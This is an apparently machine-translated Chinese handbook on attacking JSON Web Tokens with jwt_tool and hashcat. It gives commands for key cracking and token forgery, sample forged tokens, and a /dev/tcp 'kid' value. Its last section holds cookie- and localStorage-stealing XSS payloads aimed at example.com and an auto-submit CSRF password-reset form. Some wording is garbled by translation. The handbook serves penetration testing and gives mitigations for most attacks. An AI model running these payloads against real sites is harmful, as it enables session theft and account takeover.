JWT攻击手册
JSON Web Token(JWT)对于渗透测试人员而言可能是一种非常吸引人的攻击途径,因为它们不仅是让你获得无限访问权限的关键,而且还被视为隐藏了通往以下特权的途径:特权升级,信息泄露,SQLi,XSS,SSRF,RCE,LFI等 ,可能还有更多!
攻击令牌的过程显然取决于您正在测试的JWT配置和实现的情况,但是在测试JWT时,通过对目标服务的Web请求中使用的Token进行读取,篡改和签名,可能遇到已知的攻击方式以及潜在的安全漏洞和配置错误,使JWT攻击变得切实可行。
第一章:JSON Web令牌简介
JSON Web Token(JWT)是一个开放标准(RFC 7519),用于在双方之间安全地表示声明。
JWT是一种无状态的认证机制,通常用于授权和信息交换。
JSON Web 令牌结构
JSON Web令牌以紧凑的形式由三部分组成,这些部分由点(.
)分隔,分别是:
- 头部(Header)
- 有效载荷(Payload)
- 签名(Signature)
因此,JWT通常如下所示。
头部(Header)xxxxx.yyyyy.zzzzz
头部用于描述关于该JWT的最基本的信息,通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法。
例如:
然后,此JSON被Base64Url编码以形成JWT的第一部分。{ "alg": "HS256", "typ": "JWT" }
有效载荷(Payload)
令牌的第二部分是载荷,放置了 token 的一些基本信息,以帮助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息,用户信息交换。
载荷示例可能是:
然后,对载荷进行Base64Url编码,以形成JSON Web令牌的第二部分。{ "sub": "1234567890", "name": "John Doe", "admin": true }
签名(Signature)
要创建签名部分,您必须获取编码的头部,编码的有效载荷,密钥,头部中指定的算法,并对其进行签名。
例如,如果要使用HMAC SHA256算法,则将通过以下方式创建签名:
签名用于验证消息在整个过程中没有更改,并且对于使用私钥进行签名的令牌,它还可以验证JWT的发送者是它所说的真实身份。HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
放在一起
输出是三个由点分隔的Base64-URL字符串,可以在HTML和HTTP环境中轻松传递这些字符串,与基于XML的标准(例如SAML)相比,它更紧凑。
下图显示了一个JWT,它已对先前的标头和有效负载进行了编码,并用一个秘密进行了签名。
第二章:jwt_tool使用
安装jwt_tool
是使用本机Python 3库编写的,与任何可能已经利用的JWT库没有任何依赖关系。
唯一的依赖关系是加密过程,例如签名和验证RSA / ECDSA / PSS令牌,生成和重建公共/私人密钥,以及其他一些实际任务。
如果您不打算使用这些功能,则可以按原样使用该工具。
要获取一个jwt_tool简单的git副本,将其从终端克隆到您的系统中:
$ git clone https://github.com/ticarpi/jwt_tool
要执行加密任务,您只需要安装PyCryptodome(作为一个独立的库)即可;去表演 :
$ pip3 install pycryptodomex
基本用法:
运行jwt_tool并查看用法信息:
$ python3 jwt_tool.py -h
处理令牌并启动交互式菜单:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
启动阅读器/解码器:
$ python3 jwt_tool.py JWT_HERE -R
启动eXplorer(确定潜在的弱项):
$ python3 jwt_tool.py JWT_HERE -X
根据公钥验证令牌:
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem
开始以交互方式篡改标头,有效负载和签名:
$ python3 jwt_tool.py JWT_HERE -T
常见攻击
尝试破解密钥(HMAC算法):
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
尝试使用已知的公钥对不对称密码(RS-,EC-,PS-)进行“密钥混淆”攻击:
$ python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
尝试使用“无”算法来创建未验证的令牌:
$ python3 jwt_tool.py JWT_HERE -A
处理JSON Web密钥存储文件,重建公共密钥,然后测试密钥以查看验证令牌的密钥:
$ python3 jwt_tool.py JWT_HERE -J -jw jwks.json
生成一个新的RSA密钥对,将公钥作为JSON Web密钥存储对象注入令牌,并使用私钥对令牌签名:
$ python3 jwt_tool.py JWT_HERE -I
欺骗远程JWKS:生成新的RSA密钥对,将提供的URL注入令牌,将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务),并使用私钥对令牌签名:
$ python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json
第三章:攻击方法
下面介绍了用于检查Web应用程序或API上的JWT的工作流程。
测试令牌可以通过多种方式完成,但是关键部分是您需要一种发送HTTP请求并读取完整的显式响应的方式,建议使用“拦截代理”工具。
配置
- 安装拦截代理
- 将您的浏览器设置为对所有HTTP(S)请求使用代理
- 安装代理的SSL证书(如果使用HTTPS连接)
- 根据需要使用目标站点,确保在拦截代理的历史记录中可以看到流量。
工作流程
以下步骤大致按顺序进行,其中一些测试基于先前的测试结果。因此,请按顺序进行。
步骤一:识别令牌
首要目标是识别该应用程序正在使用JWT。最简单的方法是在代理工具的历史记录中搜索JWT正则表达式:
步骤二:识别测试页[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* -网址安全的JWT版本 [= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* -所有JWT版本(误报的可能性更高)
从这一点开始,我们将重放令牌并寻找响应请求中的变化以发现问题。找到要使用的基本请求很重要,该基本请求可提供有用的响应,该响应清楚表明令牌是否仍然有效。一个很好的例子是网站上的“个人资料”页面,因为我们只有在被授权通过有效的JWT进行访问时才能访问此页面。
步骤三:重放令牌
捕获JWT之后,我们可以在相同的上下文中将其重播回应用程序。这将产生与原始令牌相同的结果。
为此,选择包含令牌的页面加载请求,然后选择重放它(在Burp中单击鼠标右键,然后选择Send to Repeater),如果响应不同,则令牌可能已过期,或者某些其他情况可能导致令牌无效。挖掘一下以确定问题所在。您需要可重复且可验证的响应才能继续。
步骤四:有效
从请求中删除令牌并观察结果-结果是否已更改?
是否需要令牌? - 对很好!进行下一步
- 不-也许JWT不是此应用程序上的授权手段。检查其他标头,Cookie或POST数据,这些数据可能会继续保留该会话。您可能仍然可以使用令牌进行操作,因此请继续。
步骤五:检查
删除签名的最后几个字符。是否:返回错误,失败或成功?
是否检查令牌? - 如果出现错误消息,则正在检查签名-阅读任何可能泄漏敏感内容的详细错误信息。
- 如果返回的页面不同,则正在检查签名。
- 如果页面相同,则不检查签名-是时候开始篡改有效负载声明,以查看您可以做什么!
步骤六:持久性
重新发送同一令牌多次,穿插不发送令牌,或者一次发送无效签名(从令牌末尾删除一个或两个字符)。每次发送有效令牌后,它是否继续工作?
令牌是否持久? - 是的-令牌保持静态,这是常见的行为。但是,如果相同的JWT在注销后或持续很长时间后仍然有效,则这可能表示不朽的令牌。请确保在大约24小时内重新测试该令牌,并在令牌永不过期的情况下进行报告。
- 否-令牌已过期,或已被应用程序无效。一些系统经常使令牌失效,或者只是在正常的HTTP响应中向您发送新令牌,或者可以以编程方式调用“刷新令牌” API端点来检索新令牌。这可能意味着您需要经常切换基本测试令牌,因此在发送被篡改的令牌之前,请务必对其进行重新检查。
步骤七:起源
检查令牌在代理请求历史记录中的起源。应该在服务器而不是客户端上创建它。 - 如果首先看到它是从客户端发出的,则客户端代码可以访问该密钥 -寻求它!
- 如果第一次看到它来自服务器,那么一切都很好。
步骤八:查看索赔处理顺序
更改直接在页面上反映或处理的任何有效载荷索偿,但保持签名不变。更改后的值是否得到处理?
示例: 如果有效负载包含个人资料图片网址或某些文本
(例如{“ login”:“ ticarpi”,“ image”:“ https://ticarpi.com/profile.jpg ”,“ about”:“我的个人资料页面。“})
然后调整地址以查看页面中是否反映了新图像,或者调整文本以查看响应中是否有更改。
在jwt_tool中进行篡改: 进入篡改模式: python3 jwt_tool.py [token] -T
- 按照菜单篡改各种声明
- 最后,选择保留此令牌的原始签名
- 如果更改被接受,则应用程序将在签名验证之前(或与之无关)处理这些更改。看看您是否可以篡改任何重要的内容。
- 如果未反映出更改,那么将按正确的顺序处理JWT声明。
步骤九:弱HMAC密钥
HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证。通常,这些设置为简单的密码短语/密码。
由于签名验证是一个自包含的过程,因此可以测试令牌本身的有效密码,而不必将其发送回应用程序进行验证。
因此,HMAC JWT破解是完全脱机的事务,攻击者可以在GREAT SCALE上执行。
存在许多用于JWT破解的工具,jwt_tool
也不例外。这对于快速检查已知的泄漏密码列表或默认密码很有用。
在-d dictionary.txt参数旁边使用jwt_tool的-C标志来尝试针对字典文件中的所有单词验证密钥
这种方法很有用,但是由于JWT通常是应用程序的关键,因此建议使用更强大的测试策略,即使用hashcat通过多种可用技术利用高度并行化的破解尝试。确实,如果您具有兼容的GPU,则可以以每秒数亿个猜测的速度利用带有hashcat的破解JWT!考虑到这一点,在继续研究此方法的其余部分时,值得在hashcat中启动各种测试。
Hashcat命令: - 字典攻击:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
- 基于规则的攻击:
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
- 蛮力攻击:
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
一种有用的破解方法: - 具有常见默认密码列表的字典攻击
- 带有“泄露密码”单词表的字典攻击
- 从目标网站(和相关Wiki页面?)上抓取的单词进行有针对性的字典攻击
- 使用目标字典进行规则攻击
- 使用狭窄的焦点进行暴力攻击(例如?u?l?l?l?l?l?l?l?l-增量式)
- 使用庞大的单词表进行规则攻击
- 使用广泛的焦点进行长时间的蛮力攻击(例如“ a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a-a -i-增量- min = 6)
如果您可以破解HMAC机密,则可以伪造令牌中的任何内容。这可能是一个严重漏洞。
测试已知漏洞(使用jwt_tool)
有关JWT库中已知漏洞的一些考虑因素是,它们是试图使伪造令牌被应用程序接受。当我们的攻击更改了要签名的内容时,它也会使现有签名无效。
因此,我们将现有令牌有效负载值与相关攻击方法一起使用进行测试。
如果攻击成功,我们的伪造令牌将被验证并使用原始值。
换句话说,如果您使用有效令牌以“ user1”身份登录,并且尝试使用alg:none攻击并保留所有有效载荷数据并且将其注销,则该攻击将不起作用。
如果您保持登录状态,那么您的攻击就成功了,您可以开始使用“有效负载”值来查看现在可以进行调整以获取特权或其他有益结果的内容。
测试漏洞-‘none’算法(CVE-2015-9235):
设置没有签名的“ alg”:“ none”,但是不要更改有效载荷-页面是否仍返回有效?
使用jwt_tool的-A标志切换算法并放弃签名
- 如果页面返回有效页面,则表明您有旁路-进行篡改。
测试漏洞-RSA密钥混淆(CVE-2016-5431):
您将需要RSA公钥进行测试。有时,应用程序通过API或文档中隐藏的内容提供此功能。
您还需要使用正确的公钥格式。如果提供了密钥,那么就很好,如果没有,那么最好的猜测是PEM format。请注意,PEM 末尾应包含一个换行符,但是某些工具在导出密钥时可能会忽略此字符。
将jwt_tool的-V标志与-pk public.pem参数一起使用以验证找到的公钥与用于对令牌进行签名的密钥
一起使用jwt_tool的-K标志与-pk public.pem参数一起使用以伪造新的攻击令牌 - 如果页面返回有效,则表明您有旁路-进行篡改。
测试漏洞-JWKS注入(CVE-2018-0114):
创建一个新的RSA证书对,注入一个包含公钥详细信息的JWKS文件,然后使用私钥对数据签名。如果成功,则应用程序应使用您提供的密钥数据进行验证。
使用jwt_tool的-I标志生成一个新的密钥对,注入包含公共密钥的JWKS,并使用私有密钥对令牌进行签名 - 如果页面返回有效,则表明您有旁路-进行篡改。
“kid”问题-揭示关键:
如果标头中使用声明“ kid”,请检查该文件的Web目录或该文件的变体。例如,如果“ kid”:“ key / 12345”,则在Web根目录下查找/ key / 12345和/key/12345.pem。
“kid”问题-路径遍历:
如果标头中使用声明“ kid”,请检查是否可以在文件系统中使用其他文件。选择一个您可能能够预测其内容的文件,或者尝试“ kid”:“ / dev / tcp / yourIP / yourPort以测试连接性,甚至测试某些SSRF负载…
使用jwt_tool的-T标志来篡改JWT并更改孩子索赔的价值,然后选择保留原始签名
URL篡改攻击
对于以下攻击,您将需要从服务器收集响应。这个想法是您试图让服务器跟随您的链接。一个简单的方法来做到这一点是打嗝的合作者,但许多其他选项的存在取决于你有可用的工具:如果你有一个互联网路由主机(如Web服务器)与终端接入,您可以使用tcpdump
收集的相互作用:sudo tcpdump -A 'tcp dst port 80' -i eth0
或者您可以在您的网络服务器上观看实时HTTP流量日志记录。例如:tail -f /var/log/apache2/access.log
您甚至可以使用像RequestBin这样的实时日志记录服务。
但是,对于Burp用户而言,Burp Collaborator是一个简单的选项,只需在Burp菜单中单击Burp Collaborator客户端即可。单击复制到剪贴板以复制当前主机名以注入到测试中。
如果发现在Burp Collaborator中有交互,则应检查它仅仅是DNS还是实际的HTTP通信。 - DNS可能指示代理或WAF检查通信是否包含恶意有效负载,或者可能是来自服务器的后续HTTP通信的先驱。
- HTTP访问通常表明服务正在尝试进行交互-通常是收集或加载资源,或者发送数据。
测试漏洞-JWKS欺骗
如果令牌使用“ jku”标题声明,则签出提供的URL。这应该指向一个包含JWKS文件的URL,该文件包含用于验证令牌的公共密钥。篡改令牌,将jku值指向您可以监视其流量的Web服务。
如果获得HTTP交互,您现在知道服务器正在尝试从提供的URL加载密钥。 在-u http://example.com参数旁边使用jwt_tool的-S标志生成一个新的密钥对,注入您提供的URL,生成一个包含公钥的JWKS,并用私钥对令牌进行签名。其他攻击:
以下是应该测试的已知弱点。
跨服务中继攻击
一些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。在过去的某些情况下,为一个JWT服务的客户端生成的令牌实际上可以被另一个JWT服务的客户端接受。
如果您发现JWT是通过第三方服务发布或更新的,则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册一个帐户。如果是这样,请尝试获取该令牌并在对目标的请求中重播它。被接受了吗? - 如果您的令牌被接受,那么您可能会遇到严重问题,使您可以欺骗任何用户的帐户。但是,请注意,如果您正在注册第三方应用程序,则在进入合法的灰色区域时,可能需要寻求更广泛的测试权限的许可!
是否检查了exp?
“ exp”有效负载声明用于检查令牌的到期。由于JWT通常在没有会话信息的情况下使用,因此确实需要谨慎处理-在许多情况下,捕获和重播其他人的JWT会使您伪装成该用户。
缓解JWT重播攻击的一种方法(由JWT RFC建议)是使用“ exp”声明来设置令牌的到期时间。同样重要的是,在应用程序中设置相关检查,以确保处理此值并且令牌在过期时被拒绝。如果令牌包含“ exp”声明,并且测试时间限制允许,请尝试存储令牌并在过期时间过后重播。 使用jwt_tool的-R标志读取令牌的内容,其中包括时间戳解析和到期检查(UTC中的时间戳) - 如果令牌仍在应用程序中验证,则可能存在安全风险,因为令牌可能永不过期。
进行模糊测试并进一步发展…
现在您已经经历了已知和常见的攻击,但是请等待 -这还没有结束! 每个优秀的应用程序测试人员都知道:应用程序处理的每条用户提交的数据都可能是攻击媒介。正如我们所知,我们的令牌权利要求的内容完全控制,所以它的时间去创作…… 起毛能力即将到jwt_tool,但在那之前,和技术建议和方法,检查了篡改和模糊测试页面。
第四章:深入研究JWT安全性
第一篇:脆弱索赔
以下是根据相关RFC提出的“官方”或要求的权利要求。在此确定了它们的功能,以及它们可能暴露的任何观察到的或理论上的漏洞。
标头声明
标头声明是令牌的“元数据”,告诉应用程序令牌是什么类型,令牌是如何签名的,签名密钥或秘密的存储位置以及其他详细信息。
必须在验证令牌之前对它们进行处理,这就是为什么在Header声明中发现了大多数JWT库漏洞的原因。
一些“标准”主张:
| Token | Description | Format |
| ——- | —————————————————————- | —————- |
| typ | 令牌类型 (JWT/JWE/JWS等) | string |
| alg | 用于签名或加密的算法 | string |
| kid | Key ID - 用作查找 | string |
| x5u | x509证书的URL | URL |
| x5c | 用于签名的x509证书(作为嵌套的JSON对象) | JSON object |
| jku | JWKS格式键的URL | URL |
| jwk | 用于签名的JWK格式密钥(作为嵌套的JSON对象) | JSON object |
标头声明中的漏洞
- 可以调整引用算法或签名方法的要求,以强制服务尝试通过修改的过程来验证提供的令牌。
- 引用URL的声明可用于重定向服务以在攻击者的控制下查询URL。
- 可以注入包含签名证书的声明,以提示服务使用提供的密钥来验证令牌。
- 可以修改儿童索赔,以调整/攻击用于查找/访问签名密钥的位置或方法。
净荷索赔
有效负载声明是令牌的特定于应用程序的数据。它们将已编程包含的自定义数据列表传递给应用程序。
它们通常在令牌经过验证后进行处理,这限制了它们在旁路攻击中的作用。但是,某些应用程序可能会使用某些提供的数据,而不会进行正确的验证检查。
如果您找到一种方法来获得令牌签名,那么有效负载声明的内容将为您提供模拟,特权提升,代码执行或其他攻击路径的路径。
“标准”声明:
| Token | Description | Format |
| ——- | ————————————————————— | ——————— |
| iss | 令牌的发行人 | string/URL |
| aud | 令牌的受众:作为令牌预期接收方的用户或服务 | string/URL |
| sub | 主题:令牌的接收者 | string |
| jti | 令牌的唯一标识符 | string/integer |
| nbf | NotBefore-在该时间戳记之前的UNIX时间戳记 | integer |
| iat | IssueddAt-令牌创建/生效的时间的UNIX时间戳 | integer |
| exp | 过期-令牌应停止有效的时间的UNIX时间戳 | integer |
净荷索赔中的漏洞 - 可以对带有URL的声明进行调整,以在攻击者的控制下将流量重定向到外部服务。
- 具有时间戳的声明可能会在验证之前进行处理,并且可能会进行调整以影响令牌的有效性。
- 补充声明可能会被应用程序代码以意外方式访问,并且可能会通过注入或添加这些字段而引入广泛的攻击路径。
第二篇:已知漏洞和攻击
有趣的是,所有这些都通过操作标头值来影响令牌。这主要是因为头控制如何或用什么令牌进行签名。攻击有效负载部分中的目标值可能是特定于平台/服务的,而不是特定于库的。
在这一点上还值得注意的是(在没有极其冗长的错误的情况下),您不太可能知道哪个JWT库(更不用说该库的哪个版本)正在给定服务上签名令牌。因此,在测试JWT时,我们最好的选择是尝试所有技巧,看看是否有任何问题。
JWT库存在以下CVE:
- CVE-2015-9235 Alg:无攻击
- CVE-2016-5431密钥混淆攻击
- CVE-2018-0114密钥注入攻击
其他已知攻击 - JWKS欺骗
- “kid”注射
- 跨服务中继攻击
- 弱密钥
CVE-2015-9235-Alg:无攻击
此攻击针对JWT标准中用于生成无符号密钥的选项,输出实际上省略了第二个点之后的任何签名部分。由于某些库或服务器配置中的弱点,服务可能会读取被篡改的请求,请确保不需要对其进行签名,然后信任地接受它。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRpY2FycGkifQ.
解构:
{"typ":"JWT","alg":"none"}.
{"login":"ticarpi"}.
[No signature!]
如何抵御这种攻击? JWT配置应该只指定所需的签名算法(不要指定“无”!)
CVE-2016-5431-密钥混淆攻击
此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.I3G9aRHfunXlZV2lyJvWkZO0I_A_OiaAAQakU_kjkJM
解构:
{"typ":"JWT","alg":"HS256"}.
{"login":"ticarpi"}.
[使用HMAC-SHA256签名,使用公钥文件作为密钥验证。]
如何抵御这种攻击?JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。
CVE-2018-0114-密钥注入攻击
此攻击尝试了一些JWT库中不太常用的验证技术-包含内联公钥。
攻击者可以使用新的私钥对令牌进行签名,在令牌中包含公钥,然后让服务使用该密钥验证令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJURVNUIiwidXNlIjoic2lnIiwiZSI6IkFRQUIiLCJuIjoidTdzRU00RmlvT3J6ODFPSENBUGRUZjNncUc4dm12NVJOUndTd0t4X3RqMHBsRjlrdmtEUHVMTDRVa3JqTnVCMWNHdU1hanFxR0xTZXpRQ0xBWmRldC0td3FSbVRfVGNVeGtieVZMV1JiUUg5UWNJRVM0UXpuc20yckR0Wnp4U1VHNnVlNzBBRm1EZkdiSkVQMGI5Nkllc0JfNlBTOS1FWXdLXzl5X3ZwRTloZTNNTUo4WEROSVM5amNSUkNqc21DVldQb1BGX01NcUZjZmZfeWZPNDRPQkVSZWdOOHB2b19UX3Bial91ZkU2X1pGek80VUl6QkNzRUR4RE5mZk9RRkdNRzZoaXRjQm8wTmJSUkFVYUY3dmhMYVRkQjNjRXdPLWVoNEZpSm9nRVRMZGxPRVFXRlZCZldLUWh1YWJEU0FnWGZQOUNXbXh1Smg5YzNRX0tMZFF3In19.eyJsb2dpbiI6InRpY2FycGkifQ.jFu8Kewp-tJ4uLVTRm6D5wBkbikNtLufGHa8ZmEutAZyrPETaD5JaLHZ8Mlw6zBxCNKzmAXbEaDGtNoQ6rfIGHwiTwzk2C897HNR-vwTAyHh7lAgixelqrlkAP7OBWEALH_u7QuIDZpu79V4Aur9CzYai9UvaLqsHhFLf4Gwha9CGV68BnO_Cxye_5vRhzcWEPXIAp8DQMHEDovS6NF_CTEvKA8I6jp2nb726m0nLJo-WWKlCF0UNwSGZ3R3A0YFPL-I1Ld6_8W2dIZRKt4PAtEAPde-RIyf9vKWaHsQDaxnI40xxN3IwvkB2-nDUaTLZtVwBBiTEMoUrkoNTY6XKg
解构:
{"typ":"JWT","alg":"RS256","jwk":{"kty":"RSA","kid":"TEST","use":"sig","e":"AQAB","n":"u7sEM4FioOrz81OHCAPdTf3gqG8vmv5RNRwSwKx_tj0plF9kvkDPuLL4UkrjNuB1cGuMajqqGLSezQCLAZdet--wqRmT_TcUxkbyVLWRbQH9QcIES4Qznsm2rDtZzxSUG6ue70AFmDfGbJEP0b96IesB_6PS9-EYwK_9y_vpE9he3MMJ8XDNIS9jcRRCjsmCVWPoPF_MMqFcff_yfO44OBERegN8pvo_T_pbj_ufE6_ZFzO4UIzBCsEDxDNffOQFGMG6hitcBo0NbRRAUaF7vhLaTdB3cEwO-eh4FiJogETLdlOEQWFVBfWKQhuabDSAgXfP9CWmxuJh9c3Q_KLdQw"}}.
{"login":"ticarpi"}.
[Signed with new Private key; Public key injected]
如何防御这种攻击:JWT配置应该明确定义接受哪些公钥进行验证。
JWKS欺骗
此攻击使用“jku”和“x5u”标头值,它们指向用于验证非对称签名令牌的JWKS文件或x509证书(通常在JWKS文件中)的URL。通过将“jku”或“x5u”URL替换为包含公钥的由攻击者控制的URL,攻击者可以使用成对的私钥对令牌进行签名,并让服务检索恶意公钥并验证令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.FgnNEj7qm6PPQCCL_f6krxcTSg4uKJSOQf2kTNOQQty25o9ON1SkEpuRgbg54TOjBz7hoqCKc9qRP6GcFy4-5vPVh_lk8x9lQmm7A34Bqkmr41Y8oCIKzlxrdqRxm-gVRkrAXti5slICzRijThkTixe2oem4_q4_8jP01jjuVTK-h3h2ZBQ7GvICEbOTv2ffd_IB-EF6Aua4Mt1164SNamvq3XQ58pLRuZCiR2wjoj1rJ8IkND3pRfg-ziYc86RSLEqq44HCQZ9Suq2r9XGrPkKUE30O6hFCrWJYfaQUTAya8PndhxWrgV5WRzIHYA9Br0kQ29q0DUz-GESLRaK2Ww
解构
{"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}.
{"login":"ticarpi"}.
[Signed with new Private key; Public key exported]
要防御此攻击:JWT配置应该明确定义允许哪些JWKS文件/url。
“kid”注射
此攻击破坏了应用程序处理密钥ID值的方式。有些库使用系统调用(如文件系统查找)或数据库查询来提取“kid”头值中指定的密钥。通过将恶意数据注入此声明,攻击者可以强制应用程序执行任意SQL查询、系统命令,甚至可以将“密钥文件”的目标重定向到系统上的已知文件,以强制使用新的密钥对HMAC令牌进行签名和解密。
要防御此攻击:
在应用程序中,应该为“kid”值指定设置参数,并且在处理之前丢弃与此不同的输入。
跨服务中继攻击
一些服务使用外部身份验证服务,或共享本地身份验证服务器来生成令牌。如果这些令牌未指定特定的目标服务,则可能注册一个服务并将令牌重播到另一个服务,并获得具有不同权限的访问权限。
要防御此攻击:
确保所有共享身份验证服务令牌都包含一个“aud”(访问群体)声明,指定令牌的目标群体,或使用其他自定义方法来区分重播的令牌。
弱密钥
破解的乐趣,当使用HMAC对称签名算法时,可以使用各种简单的CPU破解工具离线破解,或者插入GPU驱动的强力破解设备。如果你使用一个弱的或短的字符串作为密钥,那么它可能很快就会被破解。
要防御此攻击:
跳过HMAC签名并使用非对称加密,它要更安全一点。如果由于某种原因无法避免HMAC签名,请确保实现长的随机密钥字符串,并定期更换密钥。
第三篇:查找公钥
为了尝试使用非对称加密的令牌的某些攻击路径,我们可能需要找到公钥,有许多可能的方法。
SSL密钥重用
在某些情况下,令牌可能会使用网络服务器的SSL连接的私钥进行签名。抓住x509并从SSL中提取公钥非常简单:
$ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
$ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
API暴露
为了验证令牌,服务可以通过API端点(例如“ / API / v1 / keys”)公开公钥。应该列出的位置是API的文档(如果您有权访问它们),否则您可能会在代理历史记录中看到到此端点的访问量。
JWKS常见位置
另一种常见的替代方法是在JWKS(JSON Web密钥存储)文件中公开密钥(或密钥集)。一些常见的位置是:
- /.well-known/jwks.json
- /openid/connect/jwks.json
- /jwks.json
- /api/keys
- /api/v1/keys
JWKS文件的其他位置可能是特定于平台的,因此值得检查文档(或通过谷歌搜索)。
来自jku声明或x5u声明的URL
有两个标准的标头声明可以将服务定向到公钥进行验证: - jku-指向JWKS URL的声明
- x5u-指向X509证书位置的声明(可以在JWKS文件中)
从ISS索赔线索
可以暗示公共密钥位置的另一个声明是iss有效载荷声明,它显示了创建JWT的主体的名称或URL,它可以是外部服务或API。使用此信息将您的搜索引导到发卡行公钥的可能位置。
详细错误
最后,您可能只是幸运地发现了应用程序(或外部Issuer)中的详细错误。要尝试强制错误,您应该提交混合的“破损”令牌: - 签名损坏
- 无效的Base64格式(保留在填充中)
- 无效的Base64模式(使用URL安全,标准,输出URL编码)
- 无效的声明值(错误的URL等)
- 无效的算法(“ alg”)
- 无效的JWT类型(“典型”)
- 值模式错误(字符串/整数/浮点数/布尔值)
- 尝试任何您认为可以打破的尝试!
第四篇:篡改和模糊
篡改
成功利用后,您可以篡改有效载荷数据来尝试各种攻击。这些可能包括更改用户名或用户ID以接管另一个帐户,可能正在调整应用程序上的角色列表,可能涉及启用管理属性。只需查看可用的声明,看看您可以如何处理它们。
使用jwt_tool的-T标志进入交互式篡改模式,并破坏标头和有效载荷声明以及大量的签名方法/攻击
模糊测试
将现有声明更改为各种值,使它们无效,从int更改为string等都是使服务无法正确解析JWT的好方法。这可能会提示错误消息或其他意外结果。
模糊测试对于测试对有效载荷声明的注入攻击也很有用:例如XSS和SQLi攻击。
Fuzzing模式jwt_tool
仍在开发中(具有多种签名方法的选项),但与此同时,您可以使用Burp Intruder进行以下攻击:
- 使用JWT将请求加载到Intruder中
- 清除建议的有效负载职位
- Base64解码JWT的Header或Payload部分
- 突出显示您希望攻击的完整解码声明,将其复制到剪贴板,然后将其添加为有效负载位置(见图1.1)。
- 在有效载荷选项卡中,选择要用于模糊索赔的列表
- 在
有效负载处理
部分下:- 单击添加按钮。选择添加前缀,然后将JWT部分粘贴到您想要模糊的值为止(例如{“ login”:“)
- 单击添加按钮。选择添加后缀,然后将JWT部分粘贴到要模糊的值之后(例如“})
- 单击添加按钮。选择编码,然后选择Base64
- 单击添加按钮。选择“ 匹配/替换”,然后在“ 匹配正则表达式”字段中输入等号(=),并将“ 替换为”字段保留为空白(见图1.2)。
- 点击开始攻击(见图1.3)
进一步模糊的想法
为什么不通过注入重复的声明来尝试参数污染?
也许您可以将索赔从抬头移到有效载荷块,反之亦然?
如何注入其他常见要求?
如何为您在应用程序中看到的其他变量或参数添加声明?
第五篇:窃取JWT
如果您可以窃取并重播JWT,则无需破解JWT !
如果您在应用程序中存在其他漏洞,则可以窃取或劫持其他用户的令牌。
XSS
通用的cookie窃取程序XSS有效负载将可以访问以cookie形式存储的JWT:只要未将cookie设置为HTTPOnly,就可以使用有效负载来窃取LocalStorage或SessionStorage变量的内容。如果JWT存储在JavaScript变量中,那么您知道名称也可以窃取它。
例子:
document.location='http://example.com/cookiestealer.php?c='+document.cookie;
new Image().src = 'http://example.com/log.php?localStorage='+JSON.stringify(window['localStorage']);
document.location='http://example.com/?password='+secretPasswordVariable;
CSRF
当通过身份验证的用户与目标站点进行交互时,存储在cookie中的JWT令牌(无论是否为HTTPOnly)将由浏览器自动发送。当受害者触发CSRF有效负载时,浏览器将发送包括令牌的关联cookie。攻击者将看不到这些内容,但是由于它们被用来进行攻击者的出价,因此这实际上并不重要。
例子:
<form id="autosubmit" action="http://www.example.com/account/passwordreset" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="victim1" />
<input name="password" type="hidden" value="BadGuyKnowsThis!" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
CORS配置错误
当站点的CORS策略允许任意来源以及发送凭据时,可以在向Web服务器制作包含XHR请求的攻击页面的同时捕获响应。
这导致两种可能的攻击路径:
- 如果在应用程序的任何HTTP响应中返回了JWT,则攻击者可以在发送“触发”请求时读取令牌。一个很好的例子就是JWT的“刷新令牌”或查询帐户页面或登录页面。
- 如果JWT是通过Cookie发送的,则CORS可以用作CSRF的一种类型,以发送令牌,而攻击者无需查看令牌
示例-XHR CORS:
示例-XHR CSRF:<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.avictimwebsitewithJWTcookieauth.com/api/refreshtoken"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send(); </script>
